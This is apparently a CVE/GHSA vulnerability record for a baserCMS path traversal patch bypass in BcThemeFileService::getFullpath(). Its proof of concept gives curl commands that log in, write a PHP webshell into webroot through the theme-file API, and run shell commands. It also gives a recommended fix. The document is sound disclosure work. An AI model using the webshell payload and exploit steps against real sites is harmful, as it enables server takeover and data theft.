{"id":"CVE-2026-62955","aliases":["CVE-2026-62955","GHSA-2pj4-v76f-wjvx"],"related":[],"kind":"vulnerability","state":"published","title":"baserCMS: Path Traversal Bypass via realpath() in BcThemeFileService (CVE-2026-30940 Patch Bypass)","summary":"baserCMS is a website development framework. From 5.2.3 until 5.3.0, BcThemeFileService::getFullpath() in plugins/bc-theme-file/src/Service/BcThemeFileService.php skips its path containment check when realpath() fails for a nonexistent theme subdirectory selected by the type parameter. An authenticated administrator can supply a traversal path through the theme-file API to access locations outside the theme directory. The bypass of the CVE-2026-30940 fix can permit file writes, overwrites or deletion within the PHP process permissions and, where executable PHP can be written, remote code execution. This issue is fixed in 5.3.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"baserCMS is a website development framework. From 5.2.3 until 5.3.0, BcThemeFileService::getFullpath() in plugins/bc-theme-file/src/Service/BcThemeFileService.php skips its path containment check when realpath() fails for a nonexistent theme subdirectory selected by the type parameter. An authenticated administrator can supply a traversal path through the theme-file API to access locations outside the theme directory. The bypass of the CVE-2026-30940 fix can permit file writes, overwrites or deletion within the PHP process permissions and, where executable PHP can be written, remote code execution. This issue is fixed in 5.3.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe security patch introduced in baserCMS 5.2.3 to address CVE-2026-30940 / [GHSA-c5c6-37vq-pjcq](https://github.com/baserproject/basercms/security/advisories/GHSA-c5c6-37vq-pjcq) is **incomplete**. The patch added a `realpath()`-based directory traversal check in `BcThemeFileService::getFullpath()`, but the check is **entirely skipped** when `realpath($baseDir)` returns `false` — which occurs whenever the target subdirectory does not physically exist on disk.\n\nAn authenticated administrator can bypass the patch by supplying a `type` value (e.g., `js`) that maps to a non-existent directory in the theme. The absence of the directory causes `realpath()` to return `false`, the validation block is skipped, and the raw `path` parameter containing `../` sequences is returned unvalidated. This enables arbitrary file write and remote code execution (RCE) — the exact same impact as the original CVE.\n\n**This vulnerability was verified exploitable on baserCMS 5.2.3 (the \"patched\" version of CVE-2026-30940).**\n\n### Details\n\nThe vulnerability exists in `BcThemeFileService::getFullpath()` at [`plugins/bc-theme-file/src/Service/BcThemeFileService.php` lines 70–82](https://github.com/baserproject/basercms/blob/5.2.x/plugins/bc-theme-file/src/Service/BcThemeFileService.php#L70):\n\n```php\npublic function getFullpath(string $theme, string $plugin, string $type, string $path)\n{\n    // ...build $baseDir and $fullPath from $theme, $type, $path...\n    $baseDir  = $viewPath . $type . DS;      // e.g. .../BcThemeSample/webroot/js/\n    $fullPath = $baseDir  . $path;           // e.g. .../webroot/js/../../../../webroot/\n\n    $resolvedBase = realpath($baseDir);\n    if ($resolvedBase !== false) {           // ← BYPASS: entire block skipped when dir absent\n        $resolvedBase = rtrim($resolvedBase, DS) . DS;\n        $targetDir = realpath(dirname($fullPath));\n        if ($targetDir === false) {\n            $targetDir = $this->normalizePath(dirname($fullPath));\n        }\n        if (!str_starts_with(rtrim($targetDir, DS) . DS, $resolvedBase)) {\n            throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));\n        }\n    }\n\n    return $fullPath;   // ← Returns unvalidated path when realpath returns false\n}\n```\n\n**Root cause — the bypass condition:**\n\n| `realpath($baseDir)` result | Behavior |\n|-----------------------------|----------|\n| Valid path string (dir **exists**) | Validation runs → `../` traversal **blocked** ✓ |\n| `false` (dir does **not** exist) | Validation **skipped entirely** → `../` traversal **allowed** ✗ |\n\n**Difference from CVE-2026-30940 (original bug):**\n\n| | CVE-2026-30940 (≤ 5.2.2) | This bypass (5.2.3) |\n|--|--|--|\n| Validation | None at all | `realpath()` check — but conditional |\n| `type` needed | Any valid type (`layout`, `cell`, …) | Must map to a **non-existent** subdirectory |\n| `path` blocked | Never | Only when target dir already exists |\n| Root cause | Missing validation | `if ($resolvedBase !== false)` skips false case |\n\n### PoC\n\n**Prerequisites:**\n- baserCMS 5.2.3 (the officially patched version of CVE-2026-30940)\n- Admin credentials\n- `USE_CORE_ADMIN_API=true` in `.env`\n- BcThemeFile plugin installed and BcThemeSample theme loaded\n\n**Step 1 — Login and obtain JWT token:**\n\n```bash\ncurl -s -X POST \"http://localhost/baser/api/admin/baser-core/users/login.json\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"email\":\"admin@example.com\",\"password\":\"password\"}'\n# Response: {\"access_token\":\"eyJ0eXA...\",\"refresh_token\":\"eyJ0eXA...\"}\n```\n\n**Step 2 — Verify bypass condition (webroot/js/ must not exist):**\n\nThe bypass requires `type=js` to map to a non-existent directory. Confirm:\n\n```bash\n# webroot/js/ does NOT exist → realpath() returns false → validation SKIPPED\nls plugins/BcThemeSample/webroot/\n# Expected output: css  img   (no js/)\n```\n\n**Step 3 — Exploit: write PHP webshell directly to webroot:**\n\nPath calculation from `baseDir = .../BcThemeSample/webroot/js/`:\n- `js/` (1 up) → `webroot/`\n- `webroot/` (2 up) → `BcThemeSample/`\n- `BcThemeSample/` (3 up) → `plugins/`\n- `plugins/` (4 up) → `/var/www/html/` + `webroot/`\n- Result: `../../../../webroot/` → `/var/www/html/webroot/`\n\n```bash\nTOKEN=\"eyJ0eXA...\"   # from step 1\n\ncurl -s -X POST \"http://localhost/baser/api/admin/bc-theme-file/theme_files/add.json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"theme\":    \"BcThemeSample\",\n    \"plugin\":   \"\",\n    \"type\":     \"js\",\n    \"path\":     \"../../../../webroot/\",\n    \"base_name\":\"rce_direct\",\n    \"ext\":      \"php\",\n    \"contents\": \"<?php echo shell_exec($_GET[\\\"c\\\"]); ?>\"\n  }'\n# Response: HTTP 200 {\"message\":\"ファイル「rce_direct.php」を作成しました。\",...}\n```\n\n**Step 4 — Execute RCE:**\n\n```bash\ncurl \"http://localhost/rce_direct.php?c=id\"\n# Output: uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)\n```\n\n**Verified output (Docker, baserCMS 5.2.3):**\n\n```\n=RCE_DIRECT=uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)\n```\n### Impact\n\nAn authenticated administrator can achieve remote code execution by writing an arbitrary PHP file to any directory accessible by the web server — including `webroot/`, `config/`, or `tmp/`. This is the identical impact as CVE-2026-30940, rendering the 5.2.3 patch ineffective.\n\nThe vulnerability is particularly significant because:\n\n1. **Patch bypass:** Operators and users who upgraded to 5.2.3 specifically to address CVE-2026-30940 remain vulnerable.\n2. **Arbitrary directory write:** The bypass allows writing to `webroot/` (directly HTTP-accessible), `config/` (application configuration), or any other directory writable by the PHP process.\n3. **File deletion and overwrite:** Beyond RCE, the attacker can delete or overwrite critical files, causing denial of service or persistent backdoors.\n4. **One-shot per non-existent directory:** The exploit creates the target directory as a side effect. Rotating to other unused `type` values (e.g., `font`, `audio`, any arbitrary string) restores the bypass condition.\n\n**CVSS v3.1:** `AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` — Score: **7.2 (High)**  \nSame as CVE-2026-30940 — attack complexity is unchanged by the incomplete patch.\n\n### Recommended Fix\n\nThe patch must validate the path **unconditionally**, regardless of whether `$baseDir` exists on disk. Replace the `realpath()`-conditional block with `normalizePath()` (already defined in the same class):\n\n```php\n// CURRENT (vulnerable — skips validation when $baseDir does not exist)\n$resolvedBase = realpath($baseDir);\nif ($resolvedBase !== false) {\n    // ... validation only runs here ...\n}\nreturn $fullPath;\n\n// FIXED — always validate using normalizePath()\n$normalizedBase   = rtrim($this->normalizePath($baseDir),            DS) . DS;\n$normalizedTarget = rtrim($this->normalizePath(dirname($fullPath)),  DS) . DS;\n\nif (!str_starts_with($normalizedTarget, $normalizedBase)) {\n    throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));\n}\nreturn $fullPath;\n```\n\nAdditionally, the `path` and `ext` parameters should be validated at the API controller layer:\n\n```php\n// In ThemeFilesController — validate before calling getFullpath()\nif (preg_match('/\\.\\./', $data['path'])) {\n    throw new BcException('Invalid path parameter.');\n}\nif (!preg_match('/^[a-zA-Z0-9]+$/', $data['ext'])) {\n    throw new BcException('Invalid extension.');\n}\n```\n\n### References\n\n- [GHSA-c5c6-37vq-pjcq — Original CVE-2026-30940 advisory](https://github.com/baserproject/basercms/security/advisories/GHSA-c5c6-37vq-pjcq)\n- [CWE-22: Path Traversal](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-706: Use of Incorrectly-Resolved Name or Reference](https://cwe.mitre.org/data/definitions/706.html)\n- [OWASP Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n- `plugins/bc-theme-file/src/Service/BcThemeFileService.php` — `getFullpath()`, lines 70–82\n- `plugins/bc-theme-file/src/Form/ThemeFileForm.php` — `_execute()`, lines 64–69\n- `plugins/bc-theme-file/src/Controller/Api/Admin/ThemeFilesController.php` — `add()`, lines 38–60\n\n### Attribution\nReported by Nguy Minh Tuan of Sun* Cyber Security Research Team.","format":"markdown","source":"ghsa"}],"published":"2026-11-19T20:25:27.503Z","modified":"2026-11-24T04:17:35.197Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"rating":"HIGH"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":">= 5.2.3, < 5.3.0","status":"affected"}],"vendor":"baserproject","product":"basercms","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"5.3.0"}],"ecosystem":"Packagist","package":"baserproject/baser-core","purl":"pkg:composer/baserproject/baser-core","source":"ghsa"}],"references":[{"url":"https://github.com/baserproject/basercms/security/advisories/GHSA-2pj4-v76f-wjvx","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/baserproject/basercms/commit/464227b8770704076ee6eddd4bd464c184786eca","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/baserproject/basercms/commit/c650017acf5dfbfd15eb2f3eda07967bcb002be2","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/baserproject/bc-theme-file/commit/a8f90096f13eca576a87cb25aa02e8f54642af7e","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/baserproject/basercms/releases/tag/5.3.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62955","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/baserproject/basercms","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-11-24T03:54:46.335Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-62955","url":"https://www.cve.org/CVERecord?id=CVE-2026-62955","licence":"CVE Terms of Use","modified":"2026-11-24T03:55:09.322Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2pj4-v76f-wjvx","url":"https://github.com/advisories/GHSA-2pj4-v76f-wjvx","licence":"CC-BY-4.0","modified":"2026-11-20T00:30:07.775Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-62955","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62955","licence":"Public domain","modified":"2026-11-24T04:17:35.197Z"}],"updatedAt":"2026-11-25T22:59:52.234Z","epss":{"score":0.01086,"percentile":0.6626,"date":"2026-12-01T12:00:22.000Z"}}